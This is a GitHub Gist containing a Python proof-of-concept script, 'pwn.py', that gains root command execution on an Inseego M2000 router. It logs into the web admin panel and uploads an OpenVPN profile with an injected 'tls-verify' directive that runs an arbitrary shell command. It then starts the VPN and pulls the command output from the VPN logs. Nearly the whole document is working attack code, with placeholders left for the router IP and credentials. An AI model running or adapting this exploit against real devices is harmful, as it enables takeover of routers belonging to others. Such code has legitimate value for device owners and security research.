Created
January 18, 2025 12:46
-
-
Save ph1048/279c5b28780626ea749b362a5202e11a to your computer and use it in GitHub Desktop.
Inseego m2000 root via vpn profile
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import requests | |
import re | |
import hashlib | |
import json | |
import sys | |
import html | |
sess = requests.Session() | |
vpn_tpl = open("srv.conf",'rb').read() # REPLACE THIS FILE WITH YOUR .OVPN FILE | |
def get_sec_tok(host, where): | |
global sess | |
req = sess.get("http://"+host+"/"+where+"/") | |
stok = re.findall(r"gSecureToken.*\"([a-f0-9]+)\"", req.text) | |
return stok[0] | |
def form_password(password, stok): | |
combined_string = password + stok | |
return hashlib.sha1(combined_string.encode()).hexdigest() | |
def do_login(host, stok, user, password): | |
global sess | |
req = sess.post("http://"+host+"/submitLogin/", data={'shaPassword':form_password(password, stok), 'gSecureToken':stok}) | |
data = json.loads(req.text) | |
if "authError" in data: | |
raise "Invalid password" | |
return data["gSecureToken"] | |
def do_send_vpn(host, stok, cmd): | |
global sess | |
data = { | |
"gSecureToken": stok, | |
"fileNames": "jopa2.ovpn", | |
"vpnUserName": # PUT OPENVPN LOGIN HERE | |
"vpnPassword": # PUT OPENVPN PASSWORD HERE | |
} | |
files = { | |
"filesList": ("jopa2.ovpn", vpn_tpl + b"\r\n\tup-restart\r\n\ttls-verify \"/bin/sh -c 'echo XXX_START_XXX;"+bytes(cmd, 'UTF-8')+b"; echo XXX_END_XXX; exit 255'\"\r\n", "application/octet-stream") | |
} | |
req = sess.post("http://"+host+"/vpn/", data=data, files=files) | |
if req.status_code not in [200,303]: | |
raise "Server rejected ovpn profile" | |
def do_action_vpn(host, stok, act): | |
global sess | |
data = { | |
"gSecureToken": stok, | |
} | |
req = sess.post("http://"+host+"/vpn/"+act+"/", data=data) | |
if req.status_code != 200: | |
raise "Reset vpn failed" | |
def do_get_vpn_logs(host): | |
global sess | |
req = sess.get("http://"+host+"/vpn/vpnLogs/") | |
data = json.loads(req.text) | |
return data['vpnLogsDisplay'] | |
host = # PUT ROUTER IP HERE | |
login = "admin" | |
password = # PUT ADMIN PASSWORD HERE | |
if len(sys.argv) < 2 or len(sys.argv[1]) == 0: | |
print("pwn.py cmd") | |
exit() | |
cmd = sys.argv[1] | |
stok = get_sec_tok(host,'login') | |
print("Got stok:", stok) | |
do_login(host, stok, login, password) | |
print("Login OK") | |
stok = get_sec_tok(host,'networks') | |
print("Got stok for networks", stok) | |
do_action_vpn(host, stok, "clearVPNSettings") | |
print("Cleared VPN settings") | |
do_send_vpn(host, stok, cmd) | |
print("Sent VPN config") | |
do_action_vpn(host, stok, "connect") | |
print("Waiting for execution") | |
import time | |
rtr = 0 | |
while True: | |
#time.sleep(1) | |
print("\r\\",end='') | |
logs = do_get_vpn_logs(host) | |
if logs.count("Failed running command"): | |
print("Executed. Output:") | |
break | |
rtr += 1 | |
if rtr > 5: | |
print("Failed exec") | |
exit() | |
print("\r/",str(rtr),end='') | |
do_action_vpn(host, stok, "clearVPNSettings") | |
print(html.unescape(re.findall(rf'\nXXX_START_XXX\n(.*?)\nXXX_END_XXX\n', logs, re.DOTALL)[0])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment